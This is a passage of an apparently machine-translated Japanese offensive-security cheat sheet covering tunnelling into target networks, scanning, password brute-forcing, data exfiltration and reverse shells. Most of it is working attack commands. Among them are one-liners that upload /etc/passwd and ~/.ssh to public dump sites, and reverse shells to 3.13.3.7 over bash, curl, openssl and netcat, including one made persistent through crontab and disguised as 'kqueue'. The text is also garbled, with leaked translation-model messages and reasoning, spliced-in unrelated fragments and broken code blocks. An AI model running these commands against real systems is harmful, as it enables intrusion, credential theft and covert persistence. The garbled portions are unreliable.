 * [CloudFlare経由で任意のTCPサービスをトンネリングする方法](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) を読むか、[DarkFlare](https://github.com/doxx/darkflare) を使用します。

### ホストをリモートネットワークに直接接続する
 * [WireTap](https://github.com/sandialabs/wiretap) - ユーザーまたはrootとして動作します。トランスポートとしてUDPを使用します。(segfault上で[試す](https://thc.org/segfault/wireguard)。)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - トランスポートとしてTCPを使用します。[cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) または gs-netcat 経由でうまく動作します。

### SSHをCloudflare経由の安価なリバースプロキシとして使用する

この方法は[HTTPSリバーストンネル](#https)に似ていますが、Gostやwebsocatの代わりにSSHを使用します。
- 利点: ターゲット上では*cloudflared*と*SSH*だけを使用します。
- 欠点: CFサブスクリプションが必要です。

 1. CFダッシュボード -> Zero Trust -> Networks -> Tunnels に移動します。
 2. 任意の名前の'Cloudflared'トンネルを新規作成します。
 3. Debian & 64-bit を選択します。トークンは完全には表示されません。グレーアウトされた領域を別のドキュメントにコピーして、トークン全体(`sudo cloudflared service install <TunnelTokenHere>` の後の長い16進文字列)を表示し、「Token」を抽出します。
 4. サブドメインを追加します(例では `ssh.team-teso.net` を使用します)。
 5. Type=TCP URL=localhost:22 に設定します。```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

Please provide the Markdown content to translate.```shell

On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:

ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080

root@kitploit:~
The input chunk is empty — there is no content to translate. Please provide the actual chunk text.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

リバースプロキシ経由で他のプロトコルをトンネルするには、ProxyChainsまたはGrafTCPを使用します。


3.iv. Socks Proxy経由で任意のツールを使用

gsocketを使用してターゲットからワークステーションへのトンネルを作成:

ターゲットのネットワーク上:```sh

Create a SOCKS proxy into the target's network.

Use gs-netcat but ssh -D would work as well.

gs-netcat -l -S

root@kitploit:~
作業ステーション上で:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

ProxyChainを使用する:```sh

Use ProxyChain to access any host on the target's network:

echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io

Scan the router at 192.168.1.1

proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1

Start 10 nmaps in parallel:

seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}

root@kitploit:~
### GrafTCPの使用:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

3.v. 自分のパブリックIPアドレスを調べる```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com

root@kitploit:~
任意のIPアドレスの地理位置情報を取得:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

IPアドレスからASN情報を取得する:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup

root@kitploit:~
TORが動作しているか確認してください:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

3.vi. 世界中からの到達可能性を確認する

https://ping.pe/ の素晴らしい人々のおかげで、世界中からホストへの ping/traceroute/mtr/dig/ポートチェック、TCPポートの確認、ドメイン名の解決、...その他にも多くのことが行えます。

(現在の)ホストがどの程度インターネットに到達できるかを確認するには、OONI Probe を使用します:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1

root@kitploit:~
---
<a id="check-open-ports"></a>
**3.vii. IP上の開いているポートの確認/スキャン**

[Censys](https://search.censys.io/) または [Shodan](https://internetdb.shodan.io) ポート検索サービス:```shell
curl https://internetdb.shodan.io/1.1.1.1

高速 (-F) 脆弱性スキャン```shell

Version gathering

nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org

Vulns

nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org

root@kitploit:~
開いているTCPポートのスキャン:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

(Hackshell の scan を参照)

シンプルな bash ポートスキャナー:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED

root@kitploit:~
---
<a id="bruteforce"></a>
**3.viii. パスワードハッシュをクラックする**

 1. [NTLM2password](https://ntlm.pw/) で NTLM パスワードをクラック(ルックアップ)する
 2. [wpa-sec](https://wpa-sec.stanev.org) で WPA PSK パスワードをクラック(ルックアップ)する

HashCat は、それ以外すべての用途で使う定番ツールです。```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

GPU上で10日間 7-16文字のハッシュマスクを使用:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask

-d2 == Use GPU #2 only (device #2)

-O == Up to 50% faster but limits password length to <= 15

-w1 == workload low (-w3 == high)

nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2

root@kitploit:~
OpenSSH の `known_hosts` ハッシュをクラックして IP アドレスを明らかにする:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

👉 FAQ をお読みください。

$6$ ハッシュは非常に遅いことに注意してください。1-minute 7-16 char hashmask でも、8xRTX4090 クラスターでは完了までに数日かかります。

vast.ai で RTX-4090 GPU クラスターを $0.40/h でレンタルし、dizcza/docker-hashcat:cuda (詳細) を使用してください。

それ以外の場合は、Crackstation、shuck.sh、ColabCat/cloud/Cloudtopolis を使用するか、ご自身の AWS インスタンスでクラックしてください。

3.xi. ブルートフォースパスワード / キー

以下は、オンラインサービスのパスワードをブルートフォース(推測)するためのものです。

GMail の愚か者 - ここをクリック

GMAIL アカウントをブルートフォースすることはできません。
GMAIL では SMTP AUTH/LOGIN は無効です。
GMail のブルートフォースおよびパスワードクラッキングツールはすべて偽物です。

すべてのツールは segfault にプリインストールされています:```shell ssh [email protected] # password is 'segfault'

root@kitploit:~
(独自の [EXITノード](https://www.thc.org/segfault/wireguard) を使用するとよいでしょう)

ツール:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [ドキュメント](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - 対象IPレンジのすべてのSSHキーを試すのに最適。

ユーザー名 & パスワードリスト:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCのお気に入り<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


**U**sername/**P**asswordリストと**T**argetホストを設定します。```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

便利な Nmap パラメータ:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly

root@kitploit:~
有用な **Ncrack** パラメータ:```shell
-U "${ULIST}"
-P "${PLIST}"

便利な Hydra パラメータ:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login

root@kitploit:~
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

-->```shell

SSH

nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"

root@kitploit:~
| **カテゴリー** | **ツール名** | **説明** |
|--------------|----------------|-----------------|
| 情報収集 | [Amass](https://github.com/OWASP/Amass) | 詳細なアタックサーフェスマッピングと資産発見 |
| 情報収集 | [Subfinder](https://github.com/projectdiscovery/subfinder) | パッシブサブドメイン発見ツール |
| 情報収集 | [Masscan](https://github.com/robertdavidgraham/masscan) | TCPポートスキャナー、非同期にSYNパケットを送信 |
| 情報収集 | [RustScan](https://github.com/RustScan/RustScan) | モダンポートスキャナー |
| 情報収集 | [Naabu](https://github.com/projectdiscovery/naabu) | 信頼性とシンプルさに焦点を当てたGo製の高速ポートスキャナー |
| 情報収集 | [HTTPX](https://github.com/projectdiscovery/httpx) | 高速で多目的なHTTPツールキット |
| 情報収集 | [Shuffledns](https://github.com/projectdiscovery/shuffledns) | 有効なリゾルバを備えたmassdnsのラッパー |
| 情報収集 | [Gau](https://github.com/lc/gau) | AlienVault Open Threat Exchange、Wayback Machine、Common Crawlから既知のURLを取得 |
| ... | ... | ... |```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

パスワード入力にバージョンが導入され、パスワードがCLI出力に 一切表示されることはなくなり、セキュリティが向上しました。

自動的な期間解析

duration パラメータ (-d) は、今や 秒数ではなく人間が読みやすい時間形式を受け付けるようになりました。 コマンドライン引数の解析と設定ファイルの解析は いずれも Go ネイティブの time.Duration パーサを使用しており、 すべての標準 Golang duration 単位 サフィックス ("ns", "us" (または "µs"), "ms", "s", "m", "h") に対応します。

例: -d 12h30m45s

長期認証情報

config ファイルのプロファイルに mfa_serial 値がない場合、MFA を使用しない長期認証情報とみなされます。もし、 credential_process 値を持つ、かつ/または source_profile ではなく、 別の config ファイルプロファイルを参照するものでない場合、それは SSO プロファイルとみなされます。

長期認証情報または SSO プロファイルで cLAM を使用すると、 プロファイルを引き受けるための aws cli コマンドを返します。 その際、MFA トークンコードを取得しようとしません。```shell

FTP

hydra -P "${PLIST}" -l user "ftp://$T"

root@kitploit:~
翻訳対象のMarkdownコンテンツが提供されていません。```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

Please provide the Markdown content to translate.```shell

POP3 (email)

nmap -p110,995 --script pop3-brute "$T"

root@kitploit:~
The input chunk is empty — no content was provided to translate. Please supply the actual chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

入力:```shell

PostgreSQL

nmap -p5432 --script pgsql-brute "$T"

root@kitploit:~
入力:```shell
## SMB (windows)
nmap --script smb-brute "$T"

.```shell

Telnet

nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"

root@kitploit:~
エラー: 入力コンテンツが提供されていません。翻訳するテキストが含まれていないため、処理できません。```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

`? Let's examine: The user says "Translate the following Kitploit tool content. This is chunk 190 of 494 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 190/494. ... INPUT:" and then nothing. There is no text to translate. Possibly the chunk is empty, or the input was accidentally omitted. In such case, I should output nothing or an empty translation. But the instruction says to return ONLY the translated text, no commentary. If there's no input, the output is likely empty. But the user said "The following Kitploit tool content." with no content. I might assume the chunk is exactly empty. However, the HTTP request may have had a content field but this is just the prompt. The prompt includes "INPUT:" with nothing after. I'll produce an empty response. The answer should be nothing, but to comply with format, probably just white space? "Return ONLY the translated text." So empty string. I'll output nothing.```shell

VNC (with metasploit)

msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run

root@kitploit:~
Please provide the markdown content to translate.```shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

4. データのアップロード/ダウンロード/外部送信

最も簡単な方法: Segfault Root Server で exfil と入力します。

または、curl を使用して独自の PHP exfil サーバー を実行します。

4.i ファイルエンコーディング

ターゲットがインターネットにアクセスできない場合にファイルを転送するトリック: バイナリファイルを ASCII テキスト (base64) に変換し、カット&ペーストを使用します。(別の方法としては、gs-netcat のエリートコンソールで Ctrl-e c を使い、同じ TCP 接続でファイルを転送します。)

(自分のワークステーションで)xclip を使用して、エンコードされたデータを直接クリップボードにパイプします:```shell base64 -w0 </etc/issue.net | xclip

root@kitploit:~
#### >>> UUエンコード/デコード```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY
出力 - ここをクリック

begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end

```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### >>> base64 エンコード/デコード```sh base64 -w0 出力 - ここをクリック

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh base64 -d >issue.net-COPY ``` #### >>> Openssl エンコード/デコード```sh openssl base64 出力 - ここをクリック

VWJ1bnR1IDE4LjA0LjIgTFRTCg==

```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd エンコード/デコード```sh xxd -p 出力 - ここをクリック

4b616c6920474e552f4c696e757820526f6c6c696e670a

```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. ファイル転送 - カット&ペーストを使用

リモートマシン上のファイルに貼り付けます(タブや $ 変数を壊さないように <<-'__EOF__' を使用することに注意)。```sh cat >output.txt <<-'EOF' [...] EOF ### Finish your cut & paste by typing EOF

root@kitploit:~
---
<a id="xfer-tmux"></a>
### 4.iii. ファイル転送 - *tmux* を使用

ワークステーションで `tmux` を起動します。任意の方法 (ssh、gs-netcat、...) でターゲットに接続します。

#### リモートからローカルへ (ダウンロード)

[Tmux-Logging](#tmux) を使用して、ターゲットからターミナル経由でワークステーションに大きなファイルをダウンロードします。

#### ローカルからリモートへ (アップロード)

リモートでお好みのデコードツール (base64) を起動します:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

ワークステーション上で、別のターミナルから base64 エンコードされたデータを送信します。それは、あなたの REMOTE 上の screen-xfer.txt に到着します。```shell tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'

Press 'Ctrl-d' in the receiving terminal.

Optional: Use -t foo:1.2 to send to window #1 and pane #2 instead.

Optional: Use 'Ctrl-b ,' to rename the window

root@kitploit:~
---
<a id="file-transfer-screen"></a>
### 4.vi. ファイル転送 - *screen* を使用

#### リモートからローカルへ(ダウンロード)

ローカルコンピュータで *screen* を実行し、そのシェル内からリモートシステムにログインします。ローカルの screen にすべての出力を screen-xfer.txt に記録するように指示します:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

ここでは *openssl* を使用してデータをエンコードしますが、上記のいずれのエンコード方法でも機能します。このコマンドは base64 でエンコードされたデータをターミナルに表示し、*screen* はこのデータを *screen-xfer.txt* に書き込みます:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

ローカル画面でのそれ以上のデータ記録を停止します:

CTRL-a H

ローカルコンピュータでファイルをデコードします:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt

root@kitploit:~
#### LOCALからREMOTEへ(アップロード)

ローカルシステム上でデータをエンコードしてください:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

リモートシステム上で(そして現在の screen 内から):```sh openssl base64 -d

root@kitploit:~
*screen* に base64 エンコードされたデータを読み込ませて、クリップボードからリモートシステムにデータを貼り付けます:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

注: [opensslのバグ](https://github.com/openssl/openssl/issues/9355)により、CTRL-d が2回必要です。

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. ファイル転送 - gs-netcatとsftpを使用

[gs-netcat](https://github.com/hackerschoice/gsocket)を使用し、その中にsftpプロトコルをカプセル化します。NAT/ファイアウォールの背後にあるホストへのアクセスを可能にします。```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

ワークステーションからこのコマンドを実行して、SFTPサーバーに接続してください。:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation

root@kitploit:~
または単一ファイルをDUMPするには:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

4.vi. ファイル転送 - HTTPs の使用

サーバーから受信側へのダウンロード:

送信側/サーバー上:```sh

Spawn a temporary HTTP server and share the current working directory.

python -m http.server 8080 --bind 127.0.0.1 &

alternative: php -S 127.0.0.1:8080

cloudflared tunnel -url localhost:8080

root@kitploit:~
受信側: 任意のブラウザからURLにアクセスして、リモートファイルシステムを表示/ダウンロードします。

#### 1 - PHPを使用したアップロード:

受信側で:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

送信者側:```posh

Set a function:

up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }

upload files like so:

up warez.tar.gz up /etc/passwd

root@kitploit:~
#### 2 - PYTHONを使ったアップロード:

受信側:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

送信者側:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'

root@kitploit:~
---
<a id="download"></a>
### 4.vii. curlを使用しないファイルのダウンロード

Pythonを使用して、以下のみダウンロードします:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

例: purl で gsocket をインストールする:```sh

cut & paste the above purl() function into your bash. Then cut & paste the following:

source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct

root@kitploit:~
OpenSSLを使用して、以下のみをダウンロードします:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Perlを使用して、ダウンロードのみ:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }

lurl ipinfo.io

root@kitploit:~
bashを使用して、以下のみをダウンロード:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

4.viii. 公開ダンプを使用したファイル転送

bash にカット&ペーストしてください:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }

root@kitploit:~
次に、ファイルまたはディレクトリをアップロードします:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

A list of our favorite public upload sites.


4.ix. File transfer - using rsync

大量のディレクトリを同期したり、中断された転送を再開するのに最適です。例では、Sender から Receiver への単一の TCP 接続を使用して、ディレクトリ 'warez' を Receiver に転送します。

受信側:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach

root@kitploit:~
送信者:```posh
rsync -av warez rsync://1.2.3.4:31337/up

同じ暗号化(OpenSSL):

受信者:```posh

use rsa:2048 if ed25519 is not supported (e.g. rsync connection error)

openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"

root@kitploit:~
送信者:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Rsync は https / cloudflared raw TCP トンネル を介してデータを外部持ち出しするよう組み合わせることができます。
(Windows から外部持ち出しするには、gsocket windows パッケージ の rsync.exe を使用します)。よりノイジーな解決策は syncthing です。

プロのヒント:怠け者ハッカーは segfault.net で exfil と入力するだけ。


4.x. ファイル転送 - WebDAV を使用

受信側(例:segfault.net)で Cloudflare-Tunnel と WebDAV を起動します:```sh cloudflared tunnel --url localhost:8080 &

[...]

+--------------------------------------------------------------------------------------------+

| Your quick Tunnel has been created! Visit it at (it may take some time to be reachable): |

| https://example-foo-bar-lights.trycloudflare.com |

+--------------------------------------------------------------------------------------------+

[...]

wsgidav --port=8080 --root=. --auth=anonymous

root@kitploit:~
別のサーバー上で:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

File ExplorerでWindowsから共有にアクセスします(ファイルをドラッグ&ドロップするため):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources

root@kitploit:~
または、WebDAV共有をWindows(Z:/)にマウントします:```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

4.xi. Telegram へのファイル転送

アップロードサービスは無数にありますが、TG はスマートな代替手段です。TG BotFather から TG-Bot-Token を取得してください。次に、新しい TG グループを作成し、ボットをグループに追加します。そのグループの chat_id を取得します:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq

If you get only {"ok":true,"result":[]} then remove and add the bot again.

root@kitploit:~
- 分析レポート: [エンコーダロジックの解析 - 様々なマルウェアにおける既知の回避テクニックの考察](https://0x0060.dev/breaking-encoder-logic/)```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

5. リバースシェル / Dumb Shell

ヒント: https://www.revshells.com/ を使用 👌

5.i.a. gs-netcat を使用したリバースシェル(暗号化)

完全な PTY リバースシェルを展開してアクセスするための 1 ライナーについては、6. バックドア を参照してください。 https://gsocket.io/deploy を使用します。

5.i.b. Bash を使用したリバースシェル

あなたのシステムでポート 1524 をリッスンするように netcat を起動します:```sh nc -nvlp 1524

root@kitploit:~
接続後、シェルを完全にインタラクティブなPTYシェルに[アップグレード](#reverse-shell-interactive)してください。あるいは、netcat の代わりに [pwncat-cs](https://pwncat.org/) を使用してください:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

リモートシステム上で、このコマンドはあなたのシステム(IP = 3.13.3.7、ポート1524)に接続し、シェルプロンプトを提供します:```sh

If the current shell is Bash already:

(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)

If the current shell is NOT Bash then we need:

bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

or hide the bash process as 'kqueue'

bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'

root@kitploit:~
Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):

Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):

あるいは、リモートシステム上で、これを `~/.profile` または crontab に入れて、コネクトバックシェルを再起動します(また、複数のインスタンスが起動されるのを防ぎます):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

5.i.c. cURLを使用したリバースシェル(暗号化)

curlshell を使用します。これはプロキシ経由でも機能し、外部への直接TCP接続が禁止されている場合でも機能します。```sh

On YOUR workstation

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080

root@kitploit:~
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

5.i.d cURL(平文)によるリバースシェル

複数の接続をリッスンするためにncatを起動します:```sh ncat -kltv 1524

root@kitploit:~
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.i.e. OpenSSLを使用したリバースシェル(暗号化)```sh

On YOUR workstation:

Generate SSL keys:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"

Start your listening server:

openssl s_server -port 1524 -cert cert.pem -key key.pem

Or pwncat:

pwncat -lp 1524 --ssl

root@kitploit:~
脅威エミュレーションとレッドチーミングフレームワーク、Earth Krahang Exploit

[![getest](https://github.com/user-attachments/assets/5e74343e-3317-4e7a-ab42-e9c06c50cf27)](https://github.com/user-attachments/assets/5e74343e-3317-4e7a-ab42-e9c06c50cf27)```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.i.f. /dev/tcp を使わないリバースシェル

組み込みシステムには常に Bash があるとは限らず、/dev/tcp/ トリックは機能しません。他にも多くの方法があります(Python、PHP、Perl など)。私たちのお気に入りは、netcat をアップロードして netcat または telnet を使うことです:

リモートシステム上で:```sh nc -e /bin/sh -vn 3.13.3.7 1524

root@kitploit:~
Variant if *'-e'* is not supported:
→
*-e'* がサポートされていない場合のバリアント:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
